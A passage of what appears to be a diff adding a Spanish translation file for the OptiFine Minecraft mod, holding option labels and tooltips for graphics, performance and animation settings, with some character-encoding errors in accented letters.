+of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Por defecto - controlado por shaders +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sà - usar el sistema clásico +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= NO - usar el sistema nuevo +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=La luz clásica permite que los objetos diseñados +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=para emitir luz en la mano principal, también +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=lo hagan en la mano secundaria. + +of.options.shaders.OLD_LIGHTING=LC +of.options.shaders.OLD_LIGHTING.tooltip.1=Luz clásica (LC) +of.options.shaders.OLD_LIGHTING.tooltip.2= Por defecto - controlado por shaders +of.options.shaders.OLD_LIGHTING.tooltip.3= Sà - usar luz clásica +of.options.shaders.OLD_LIGHTING.tooltip.4= NO - no usar luz clásica +of.options.shaders.OLD_LIGHTING.tooltip.5=La luz clásica controla la iluminación estática de +of.options.shaders.OLD_LIGHTING.tooltip.6=Minecraft normal a los lados del bloque. +of.options.shaders.OLD_LIGHTING.tooltip.7=Algunas shaders suelen proporcionar una iluminación +of.options.shaders.OLD_LIGHTING.tooltip.8=mejorada que varía según la posición del sol. + +of.options.shaders.DOWNLOAD=Descargar shaders +of.options.shaders.DOWNLOAD.tooltip.1= +of.options.shaders.DOWNLOAD.tooltip.2=Para descargarte un paquete de shaders: +of.options.shaders.DOWNLOAD.tooltip.3=1. Abre la web de shaders en tu navegador. +of.options.shaders.DOWNLOAD.tooltip.4=2. Descárgate las shaders que te gusten. +of.options.shaders.DOWNLOAD.tooltip.5=3. Abre "Carpeta de shaders" y cópialas. +of.options.shaders.DOWNLOAD.tooltip.6= +of.options.shaders.DOWNLOAD.tooltip.7=Fácil, sencillo y para toda la familia. + +of.options.shaders.SHADER_PACK=Paquete de shader + +of.options.shaders.shadersFolder=Carpeta de shaders +of.options.shaders.shaderOptions=Opciones de shader... + +of.options.shaderOptionsTitle=Opciones de shader + +of.options.quality=Calidad... +of.options.qualityTitle=Opciones de calidad gráfica + +of.options.details=Detalles... +of.options.detailsTitle=Opciones de detalles gráficos + +of.options.performance=Rendimiento... +of.options.performanceTitle=Opciones de rendimiento + +of.options.animations=Animaciones... +of.options.animationsTitle=Activar o desactivar animaciones + +of.options.other=Opciones varias... +of.options.otherTitle=Opciones varias + +of.options.other.reset=Restablecer toda la configuración... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilineal +of.options.mipmap.linear=Lineal +of.options.mipmap.nearest=Cercano +of.options.mipmap.trilinear=Trilineal + +options.mipmapLevels.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +options.mipmapLevels.tooltip.2=mejor gracias a que suaviza los detalles de su textura +options.mipmapLevels.tooltip.3= +options.mipmapLevels.tooltip.4= NO - sin suavizado +options.mipmapLevels.tooltip.5= 1 - suavizado mínimo +options.mipmapLevels.tooltip.6= 4 - suavizado máximo +options.mipmapLevels.tooltip.7= +options.mipmapLevels.tooltip.8=Normalmente esta opción no afecta al rendimiento. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +of.options.MIPMAP_TYPE.tooltip.2=mejor gracias a que suaviza los detalles de su textura +of.options.MIPMAP_TYPE.tooltip.3= +of.options.MIPMAP_TYPE.tooltip.4= Cercano - suavizado bruto (más rápido) +of.options.MIPMAP_TYPE.tooltip.5= Lineal - suavizado normal +of.options.MIPMAP_TYPE.tooltip.6= Bilineal - suavizado fino +of.options.MIPMAP_TYPE.tooltip.7= Trilineal - suavizado muy fino (más lento) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing suaviza líneas y bordes de los bloques +of.options.AA_LEVEL.tooltip.2= NO - (por defecto) sin antialiasing (más rápido) +of.options.AA_LEVEL.tooltip.3= 2-16 - nivel de suavizado del antialiasing (más lento) +of.options.AA_LEVEL.tooltip.4= +of.options.AA_LEVEL.tooltip.5= Suaviza los dientes de sierra y mejora la nitidez. +of.options.AA_LEVEL.tooltip.6=Los FPS pueden disminuir considerablemente al activarse. +of.options.AA_LEVEL.tooltip.7=Algunas tarjetas gráficas no soportan todos los niveles. +of.options.AA_LEVEL.tooltip.8= ¡El cambio será aplicado al REINICIAR el juego! + +of.options.AF_LEVEL=Anisotrópico +of.options.AF_LEVEL.tooltip.1=Filtro anisotrópico +of.options.AF_LEVEL.tooltip.2= NO - (por defecto) detalle normal de texturas (rápido) +of.options.AF_LEVEL.tooltip.3= 2-16 - refinar texturas al usar mipmap (más lento) +of.options.AF_LEVEL.tooltip.4= +of.options.AF_LEVEL.tooltip.5= +of.options.AF_LEVEL.tooltip.6=Este filtro recupera detalles al usar mipmap. +of.options.AF_LEVEL.tooltip.7=Los FPS pueden disminuir considerablemente al activarse. + +of.options.CLEAR_WATER=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.1=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.2= Sà - agua limpia y transparente +of.options.CLEAR_WATER.tooltip.3= NO - agua predeterminada del juego + +of.options.RANDOM_ENTITIES=Entidades aleatorias +of.options.RANDOM_ENTITIES.tooltip.1=Si una entidad tiene más de una textura... +of.options.RANDOM_ENTITIES.tooltip.2= NO - una única textura, más rápido +of.options.RANDOM_ENTITIES.tooltip.3= Sà - texturas aleatorias, más lento +of.options.RANDOM_ENTITIES.tooltip.4= +of.options.RANDOM_ENTITIES.tooltip.5=Requiere un paquete de recursos que tenga varias +of.options.RANDOM_ENTITIES.tooltip.6=texturas para una misma entidad. + +of.options.BETTER_GRASS=Césped mejorado +of.options.BETTER_GRASS.tooltip.1=Textura de los lados del bloque de césped mejorada +of.options.BETTER_GRASS.tooltip.2= NO - césped normal (por defecto), más rápido +of.options.BETTER_GRASS.tooltip.3= Rápidos - todo el bloque lleno de césped, más lento +of.options.BETTER_GRASS.tooltip.4= Detallados - textura dinámica, mucho más lento + +of.options.BETTER_SNOW=Nieve mejorada +of.options.BETTER_SNOW.tooltip.1=Nieve mejorada +of.options.BETTER_SNOW.tooltip.2= NO - nieve predeterminada, más rápido +of.options.BETTER_SNOW.tooltip.3= Sà - nieve mejorada, más lento +of.options.BETTER_SNOW.tooltip.4= +of.options.BETTER_SNOW.tooltip.5=Mostrar nieve debajo de los bloques transparantes +of.options.BETTER_SNOW.tooltip.6=(vallas, hierbas) al bordearlos con nieve. + +of.options.CUSTOM_FONTS=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.1=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.2= Sà - usar personalizadas (por defecto), más lento +of.options.CUSTOM_FONTS.tooltip.3= NO - usar la predeterminada, más rápido +of.options.CUSTOM_FONTS.tooltip.4= +of.options.CUSTOM_FONTS.tooltip.5=Algunos paquetes de recursos tienen fuentes +of.options.CUSTOM_FONTS.tooltip.6=personalizadas. + +of.options.CUSTOM_COLORS=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.1=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.2= Sà - colores personalizados (por defecto), más lento +of.options.CUSTOM_COLORS.tooltip.3= NO - colores predeterminados, más rápido +of.options.CUSTOM_COLORS.tooltip.4= +of.options.CUSTOM_COLORS.tooltip.5=Algunos paquetes de recursos tienen colores +of.options.CUSTOM_COLORS.tooltip.6=personalizados. + +of.options.SWAMP_COLORS=Color de pantanos +of.options.SWAMP_COLORS.tooltip.1=Color de pantanos +of.options.SWAMP_COLORS.tooltip.2= Sà - color en pantanos (por defecto), más lento +of.options.SWAMP_COLORS.tooltip.3= NO - sin color en los pantanos, más rápido +of.options.SWAMP_COLORS.tooltip.4=Afecta a: césped, agua, hojas y enredaderas. + +of.options.SMOOTH_BIOMES=Suavizar biomas +of.options.SMOOTH_BIOMES.tooltip.1=Suavizar transición entre biomas +of.options.SMOOTH_BIOMES.tooltip.2= Sà - suavizar cambio entre biomas (por defecto), más lento +of.options.SMOOTH_BIOMES.tooltip.3= NO - no suavizar cambio entre biomas, más rápido +of.options.SMOOTH_BIOMES.tooltip.4= +of.options.SMOOTH_BIOMES.tooltip.5=El suavizado se realiza mediante un degradado de color +of.options.SMOOTH_BIOMES.tooltip.6=a los bloques cercanos al borde de cada bioma. +of.options.SMOOTH_BIOMES.tooltip.7=Afecta a: césped, agua, hojas y enredaderas. + +of.options.CONNECTED_TEXTURES=Bloques unidos +of.options.CONNECTED_TEXTURES.tooltip.1=Unir texturas de ciertos bloques +of.options.CONNECTED_TEXTURES.tooltip.2= NO - no unirlas (por defecto) +of.options.CONNECTED_TEXTURES.tooltip.3= Rápidos - unirlas de forma rápida +of.options.CONNECTED_TEXTURES.tooltip.4= Detallados - unirlas de forma mejorada +of.options.CONNECTED_TEXTURES.tooltip.5= +of.options.CONNECTED_TEXTURES.tooltip.6=Unir las texturas de los cristales, de la arenisca y de +of.options.CONNECTED_TEXTURES.tooltip.7=las librerías al juntar los bloques. +of.options.CONNECTED_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.NATURAL_TEXTURES=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.1=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.2= NO - sin texturas naturales (por defecto) +of.options.NATURAL_TEXTURES.tooltip.3= Sà - con texturas naturales +of.options.NATURAL_TEXTURES.tooltip.4=Esta opción elimina el patrón de los bloques +of.options.NATURAL_TEXTURES.tooltip.5=que se crea al poner bloques del mismo tipo. +of.options.NATURAL_TEXTURES.tooltip.6=Se usan variantes rotadas y voleteadas de la textura +of.options.NATURAL_TEXTURES.tooltip.7=base del bloque. +of.options.NATURAL_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.EMISSIVE_TEXTURES=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.2= NO - sin texturas emisivas (por defecto) +of.options.EMISSIVE_TEXTURES.tooltip.3= Sà - con texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.4=Las texturas emisivas aparecen superpuestas con +of.options.EMISSIVE_TEXTURES.tooltip.5=el brillo al máximo. Pueden usarse para simular +of.options.EMISSIVE_TEXTURES.tooltip.6=emisión de luz en ciertas partes de una textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7= +of.options.EMISSIVE_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_SKY=Cielo personalizado +of.options.CUSTOM_SKY.tooltip.1=Textura personalizada del cielo +of.options.CUSTOM_SKY.tooltip.2= Sà - cielo personalizado (por defecto), más lento +of.options.CUSTOM_SKY.tooltip.3= NO - cielo predeterminado, más rápido +of.options.CUSTOM_SKY.tooltip.4= +of.options.CUSTOM_SKY.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ITEMS=Objetos personalizados +of.options.CUSTOM_ITEMS.tooltip.1=Textura personalizada de objetos (ítems) +of.options.CUSTOM_ITEMS.tooltip.2= Sà - objetos personalizadas (por defecto), más lento +of.options.CUSTOM_ITEMS.tooltip.3= NO - objetos predeterminados, más rápido +of.options.CUSTOM_ITEMS.tooltip.4= +of.options.CUSTOM_ITEMS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ENTITY_MODELS=Entidades personalizadas +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Textura personalizada de las entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sà - variar modelos de entidades (por defecto), más lento +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= NO - usar modelos predeterminados, más rápido +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_GUIS=Interfaz personalizada +of.options.CUSTOM_GUIS.tooltip.1=Interfaz del juego (GUI) personalizada +of.options.CUSTOM_GUIS.tooltip.2= Sà - interfaz personalizada (por defecto), más lento +of.options.CUSTOM_GUIS.tooltip.3= NO - interfaz original, más rápido +of.options.CUSTOM_GUIS.tooltip.4= +of.options.CUSTOM_GUIS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +# Details + +of.options.CLOUDS=Nubes +of.options.CLOUDS.tooltip.1=Calidad de las nubes +of.options.CLOUDS.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.CLOUDS.tooltip.3= Rápidas - peor calidad, mejor rendimiento +of.options.CLOUDS.tooltip.4= Detalladas - mayor calidad, peor rendimiento +of.options.CLOUDS.tooltip.5= NO - sin nubes, rendimiento superrápido +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7=Las nubes rápidas se renderizan en 2D. +of.options.CLOUDS.tooltip.8=Las nubes detalladas se renderizan en 3D. + +of.options.CLOUD_HEIGHT=Elevación de nubes +of.options.CLOUD_HEIGHT.tooltip.1=Editar altura a la que se muestran las nubes +of.options.CLOUD_HEIGHT.tooltip.2= NO - altura por defecto +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - encima del límite del mundo + +of.options.TREES=Ãrboles +of.options.TREES.tooltip.1=Calidad de hojas de árboles +of.options.TREES.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.TREES.tooltip.3= Rápidos - baja calidad, mejor rendimiento +of.options.TREES.tooltip.4= Inteligentes - más calidad, rendimiento medio +of.options.TREES.tooltip.5= Detallados - máxima calidad, peor rendimiento +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7=La calidad rápida dejará las hojas sin transparencia. +of.options.TREES.tooltip.8="Detallados" e "Inteligentes" sí mantienen la transparencia. + +of.options.RAIN=Lluvia/Nieve +of.options.RAIN.tooltip.1=Lluvia y nieve +of.options.RAIN.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.RAIN.tooltip.3= Rápidos - lluvia/nieve ligera, más rápido +of.options.RAIN.tooltip.4= Detallados - lluvia/nieve intensa, más lento +of.options.RAIN.tooltip.5= NO - sin lluvia/nieve, fastest +of.options.RAIN.tooltip.6= +of.options.RAIN.tooltip.7=Aunque se desactive la lluvia, el sonido +of.options.RAIN.tooltip.8=sigue estando activado. + +of.options.SKY=Cielo +of.options.SKY.tooltip.1=Cielo +of.options.SKY.tooltip.2= Sà - cielo visible, más lento +of.options.SKY.tooltip.3= NO - cielo no visible, más lento +of.options.SKY.tooltip.4= +of.options.SKY.tooltip.5=Aunque se desactive, la Luna y el Sol se podrán +of.options.SKY.tooltip.6=seguir viendo. + +of.options.STARS=Cielo estrellado +of.options.STARS.tooltip.1=Visibilidad de estrellas en el cielo nocturno +of.options.STARS.tooltip.2= Sà - estrellas, más lento +of.options.STARS.tooltip.3= NO - sin estrellas, más rápido + +of.options.SUN_MOON=Sol/Luna +of.options.SUN_MOON.tooltip.1=Visibilidad del Sol y la Luna +of.options.SUN_MOON.tooltip.2= Sà - el Sol y la Luna Sà son visibles (por defecto) +of.options.SUN_MOON.tooltip.3= NO - el Sol y la Luna NO son visibles (rápido) + +of.options.SHOW_CAPES=Capas +of.options.SHOW_CAPES.tooltip.1=Capas de jugadores +of.options.SHOW_CAPES.tooltip.2= Sà - mostrar las capas de los jugadores (por defecto) +of.options.SHOW_CAPES.tooltip.3= NO - ocultar las capas de los jugadores +of.options.capeOF.copyEditorLink=Copiar enlace + +of.options.TRANSLUCENT_BLOCKS=Bl. translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Bloques translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Detallados - mezcla de colores perfecta (por defecto) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rápidos - mezcla de colores cutre (más rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Esta opción afecta a los bloques translúcidos que tienen +of.options.TRANSLUCENT_BLOCKS.tooltip.6=color pero sólo cuando se colocan uno detrás del otro +of.options.TRANSLUCENT_BLOCKS.tooltip.7=con un bloque vacío entre ambos. +of.options.TRANSLUCENT_BLOCKS.tooltip.8=Afecta a: cristal tintado, agua, hielo... + +of.options.HELD_ITEM_TOOLTIPS=Texto en barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Nombre de objetos en la barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sà - mostrar nombres (por defecto) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= NO - no mostrar nombres (como antiguamente) + +of.options.DROPPED_ITEMS=Objetos +of.options.DROPPED_ITEMS.tooltip.1=Calidad de los objetos en el suelo sin recoger +of.options.DROPPED_ITEMS.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - objetos en 2D, más rápido +of.options.DROPPED_ITEMS.tooltip.4= Detallados - objetos en 3D, más lento pero más bonito + +options.entityShadows.tooltip.1=Sombras de entidades +options.entityShadows.tooltip.2= Sà - mostrar sombras en las entidades +options.entityShadows.tooltip.3= NO - no mostrar sombras en las entidades + +of.options.VIGNETTE=Bordes +of.options.VIGNETTE.tooltip.1=(Efecto viñeta) oscurece las esquinas de la pantalla +of.options.VIGNETTE.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.VIGNETTE.tooltip.3= Rápidos - efecto viñeta desactivado (más rápido) +of.options.VIGNETTE.tooltip.4= Detallados - efecto viñeta activado (más lento) +of.options.VIGNETTE.tooltip.5= +of.options.VIGNETTE.tooltip.6=Los FPS pueden disminuir considerablemente al activarse, +of.options.VIGNETTE.tooltip.7=sobretodo en pantalla completa. +of.options.VIGNETTE.tooltip.8=El efecto viñeta se puede deshabilitar sin ningún problema. + +of.options.DYNAMIC_FOV=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.1=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.2= Sà - activarlo (por defecto) +of.options.DYNAMIC_FOV.tooltip.3= NO - desactivarlo +of.options.DYNAMIC_FOV.tooltip.4= +of.options.DYNAMIC_FOV.tooltip.5=Cambiar el campo de visión (FOV) al volar, correr o +of.options.DYNAMIC_FOV.tooltip.6=apuntar con un arco. + +of.options.DYNAMIC_LIGHTS=Ilum. dinámica +of.options.DYNAMIC_LIGHTS.tooltip.1=Iluminación dinámica +of.options.DYNAMIC_LIGHTS.tooltip.2= NO - sin. (por defecto) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rápidos - básica. (se actualiza cada 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Detallados - perfecta. (se actualiza en tiempo real) +of.options.DYNAMIC_LIGHTS.tooltip.5= +of.options.DYNAMIC_LIGHTS.tooltip.6=Permite a algunos objetos emitir luz sin estar colocados. +of.options.DYNAMIC_LIGHTS.tooltip.7=Al equipar uno de esos objetos en la mano, o al tirarlos, se +of.options.DYNAMIC_LIGHTS.tooltip.8=iluminará el entorno (afecta a: antorchas, piedra luminosa...). + +options.biomeBlendRadius.tooltip.1=El efecto suaviza los colores entre biomas +options.biomeBlendRadius.tooltip.2= NO - sin efecto de transición (más rápido) +options.biomeBlendRadius.tooltip.3= 5x5 - transición normal (por defecto) +options.biomeBlendRadius.tooltip.4= 15x15 - transición detallada (más lento) +options.biomeBlendRadius.tooltip.5= +options.biomeBlendRadius.tooltip.6=Los valores altos pueden generar picos de lag +options.biomeBlendRadius.tooltip.7=y reducir la velocidad de carga de los chunks. + +# Performance + +of.options.SMOOTH_FPS=Estabilizar FPS +of.options.SMOOTH_FPS.tooltip.1=Establizar FPS nivelando el búfer del controlador gráfico +of.options.SMOOTH_FPS.tooltip.2= NO - sin estabilización +of.options.SMOOTH_FPS.tooltip.3= Sà - con estabilización +of.options.SMOOTH_FPS.tooltip.4= +of.options.SMOOTH_FPS.tooltip.5=Esta opción depende del controlador gráfico y su efecto +of.options.SMOOTH_FPS.tooltip.6=no siempre es notorio. + +of.options.SMOOTH_WORLD=Estabilizar mundos +of.options.SMOOTH_WORLD.tooltip.1=Eliminar los picos de lag causados por el servidor interno +of.options.SMOOTH_WORLD.tooltip.2= NO - sin estabilización +of.options.SMOOTH_WORLD.tooltip.3= Sà - con estabilización +of.options.SMOOTH_WORLD.tooltip.4= +of.options.SMOOTH_WORLD.tooltip.5=Esta opción estabiliza los FPS distribuyendo la carga del +of.options.SMOOTH_WORLD.tooltip.6=servidor interno. +of.options.SMOOTH_WORLD.tooltip.7=No funciona en multijugador. + +of.options.FAST_RENDER=Renderizado rápido +of.options.FAST_RENDER.tooltip.1=Renderizar rápidamente +of.options.FAST_RENDER.tooltip.2= NO - renderizado estandar (por defecto) +of.options.FAST_RENDER.tooltip.3= Sà - renderizado optimizado (rápido) +of.options.FAST_RENDER.tooltip.4= +of.options.FAST_RENDER.tooltip.5=Usa un algoritmo de renderizado mejorado que reduce el +of.options.FAST_RENDER.tooltip.6=consumo de GPU y aumenta los FPS. + +of.options.FAST_MATH=Matemática rápida +of.options.FAST_MATH.tooltip.1=Matemática rápida +of.options.FAST_MATH.tooltip.2= NO - estandar (por defecto) +of.options.FAST_MATH.tooltip.3= Sà - sistema rápido +of.options.FAST_MATH.tooltip.4= +of.options.FAST_MATH.tooltip.5=Usar las funciones sin() y cos() de Java de forma +of.options.FAST_MATH.tooltip.6=optimizada para mejorar el uso de caché del CPU y +of.options.FAST_MATH.tooltip.7=aumentar los FPS. + +of.options.CHUNK_UPDATES=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.1=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - carga lenta, más FPS (por defecto) +of.options.CHUNK_UPDATES.tooltip.3= 3 - carga rápida, menos FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - carga superrápida, muchos menos FPS +of.options.CHUNK_UPDATES.tooltip.5= +of.options.CHUNK_UPDATES.tooltip.6=Número de chunks renderizados por cada fotograma. +of.options.CHUNK_UPDATES.tooltip.7=Los valores más altos pueden desestabilizar los FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualización dinámica +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualizaciones de chunks dinámicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NO - (por defecto) carga normal por fotograma +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sà - más actualizaciones mientras estés quieto +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4= +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Esta opción fuerza la actualización de chunks mientras +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=estás quieto para cargar el mundo más rápidamente. + +of.options.LAZY_CHUNK_LOADING=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.2= NO - carga de chunks predeterminada +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sà - carga de chunks vaga (estabiliza la carga) +of.options.LAZY_CHUNK_LOADING.tooltip.4= +of.options.LAZY_CHUNK_LOADING.tooltip.5=Suaviza la carga interna de chunks distribuyéndola entre +of.options.LAZY_CHUNK_LOADING.tooltip.6=varios ticks. Desactívalo si algunas partes del mundo no +of.options.LAZY_CHUNK_LOADING.tooltip.7=se cargan correctamente. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Sólo funciona en mundos locales con CPUs de un núcleo. + +of.options.RENDER_REGIONS=Render. por regiones +of.options.RENDER_REGIONS.tooltip.1=Renderizado por regiones +of.options.RENDER_REGIONS.tooltip.2= NO - no usar renderizado por regiones (por defecto) +of.options.RENDER_REGIONS.tooltip.3= Sà - usar renderizado por regiones +of.options.RENDER_REGIONS.tooltip.4= +of.options.RENDER_REGIONS.tooltip.5=Permite renderizar el terreno muy rápidamente +of.options.RENDER_REGIONS.tooltip.6=cuando te encuentras a una gran altura. +of.options.RENDER_REGIONS.tooltip.7= +of.options.RENDER_REGIONS.tooltip.8=Es más efectivo si se activa "Usar VBOs" o "VBO". + +of.options.SMART_ANIMATIONS=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.1=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.2= NO - no usar animaciones inteligentes (por defecto) +of.options.SMART_ANIMATIONS.tooltip.3= Sà - usar animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.4= +of.options.SMART_ANIMATIONS.tooltip.5=Al activarse, sólo se animan las texturas visibles. +of.options.SMART_ANIMATIONS.tooltip.6=De esta forma se mejora mucho el rendimiento (más FPS). +of.options.SMART_ANIMATIONS.tooltip.7=Es muy útil cuando se usan grandes paquetes de mods +of.options.SMART_ANIMATIONS.tooltip.8=o paquetes de recursos de alta definición. + +# Animations + +of.options.animation.allOn=TODO Sà +of.options.animation.allOff=TODO NO +of.options.animation.dynamic=Dinámicas + +of.options.ANIMATED_WATER=Agua +of.options.ANIMATED_LAVA=Lava +of.options.ANIMATED_FIRE=Fuego +of.options.ANIMATED_PORTAL=Portales +of.options.ANIMATED_REDSTONE=Redstone +of.options.ANIMATED_EXPLOSION=Explosiones +of.options.ANIMATED_FLAME=Llamaradas +of.options.ANIMATED_SMOKE=Humo +of.options.VOID_PARTICLES=Partículas del vacío +of.options.WATER_PARTICLES=Partículas del agua +of.options.RAIN_SPLASH=Salpicaduras de lluvia +of.options.PORTAL_PARTICLES=Partículas de portales +of.options.POTION_PARTICLES=Partículas de pociones +of.options.DRIPPING_WATER_LAVA=Goteo de agua/lava +of.options.ANIMATED_TERRAIN=Terreno animado +of.options.ANIMATED_TEXTURES=Texturas animadas +of.options.FIREWORK_PARTICLES=Partículas de cohetes + +# Other + +of.options.LAGOMETER=Medidor de lag +of.options.LAGOMETER.tooltip.1=Mostrar el medidor de lag al usar F3. +of.options.LAGOMETER.tooltip.2=* Naranja - Basura en la memoria +of.options.LAGOMETER.tooltip.3=* Cian - Ticks +of.options.LAGOMETER.tooltip.4=* Azul - Ejecutables programados +of.options.LAGOMETER.tooltip.5=* Morado - Carga de chunks +of.options.LAGOMETER.tooltip.6=* Rojo - Actualizaciones de chunks +of.options.LAGOMETER.tooltip.7=* Amarillo - Chequeo de visibilidad +of.options.LAGOMETER.tooltip.8=* Verde - Terreno renderizado + +of.options.PROFILER=Perfil debug +of.options.PROFILER.tooltip.1=Debug (también llamado depuración) +of.options.PROFILER.tooltip.2= Sà - perfil debug activado, más lento +of.options.PROFILER.tooltip.3= NO - perfil debug desactivado, más rápido +of.options.PROFILER.tooltip.4=El perfil debug reúne y muestra más datos +of.options.PROFILER.tooltip.5=cuando se utiliza F3. + +of.options.WEATHER=Tiempo atmosférico +of.options.WEATHER.tooltip.1= +of.options.WEATHER.tooltip.2= Sà - tiempo atmosférico, más lento +of.options.WEATHER.tooltip.3= NO - tiempo atmosférico, más rápido +of.options.WEATHER.tooltip.4= +of.options.WEATHER.tooltip.5=Afecta a: lluvia, nieve y tormentas. +of.options.WEATHER.tooltip.6=Esta opción no funciona en multijugador. + +of.options.time.dayOnly=Sólo día +of.options.time.nightOnly=Sólo noche + +of.options.TIME=Reloj +of.options.TIME.tooltip.1=Reloj (tiempo) +of.options.TIME.tooltip.2= Por defecto - ciclos normales de día/noche +of.options.TIME.tooltip.3= Sólo día - sólo es de día +of.options.TIME.tooltip.4= Sólo noche - sólo es de noche +of.options.TIME.tooltip.5=Esta opción sólo funciona en modo creativo y solamente +of.options.TIME.tooltip.6=en mundos locales (en multijugador NO). + +options.fullscreen.tooltip.1=Pantalla completa +options.fullscreen.tooltip.2= Sà - jugar en pantalla completa +options.fullscreen.tooltip.3= NO - jugar en ventana +options.fullscreen.tooltip.4=Al jugar en pantalla completa el juego puede funcionar +options.fullscreen.tooltip.5=mejor o peor, depende de la tarjeta gráfica. + +of.options.FULLSCREEN_MODE=Resolución +of.options.FULLSCREEN_MODE.tooltip.1=Resolución de pantalla completa +of.options.FULLSCREEN_MODE.tooltip.2= Por defecto - resolución del monitor, más lento +of.options.FULLSCREEN_MODE.tooltip.3= Ancho x alto - otra resolución, puede ir más rápido +of.options.FULLSCREEN_MODE.tooltip.4=La resolución cambiará en la pantalla completa (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Normalmente las más bajas aumentan el rendimiento. + +of.options.SHOW_FPS=Mostrar FPS +of.options.SHOW_FPS.tooltip.1=Mostrar FPS y datos de renderizado +of.options.SHOW_FPS.tooltip.2= C: - chunks renderizados +of.options.SHOW_FPS.tooltip.3= E: - entidades renderizadas + "block entities" +of.options.SHOW_FPS.tooltip.4= U: - actualizaciones de chunks +of.options.SHOW_FPS.tooltip.5= +of.options.SHOW_FPS.tooltip.6=Estos reducidos datos sólo se muestran cuando no se +of.options.SHOW_FPS.tooltip.7=usa F3. + +of.options.save.default=Original (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autoguardado +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo del autoguardado +of.options.AUTOSAVE_TICKS.tooltip.2=El original del juego (cada 2 seg.) NO SE RECOMIENDA. +of.options.AUTOSAVE_TICKS.tooltip.3=Ponerlo cada poco tiempo puede causar mal rendimiento. + +options.anaglyph.tooltip.1=Visión en 3D + +of.options.SCREENSHOT_SIZE=Capturas +of.options.SCREENSHOT_SIZE.tooltip.1=Tamaño de las capturas de pantalla +of.options.SCREENSHOT_SIZE.tooltip.2= Por defecto - tamaño normal +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamaños personalizados +of.options.SCREENSHOT_SIZE.tooltip.4= +of.options.SCREENSHOT_SIZE.tooltip.5=Las capturas ocuparán más espacio al aumentar el tamaño. +of.options.SCREENSHOT_SIZE.tooltip.6=No es compatible con Renderizado rápido ni con 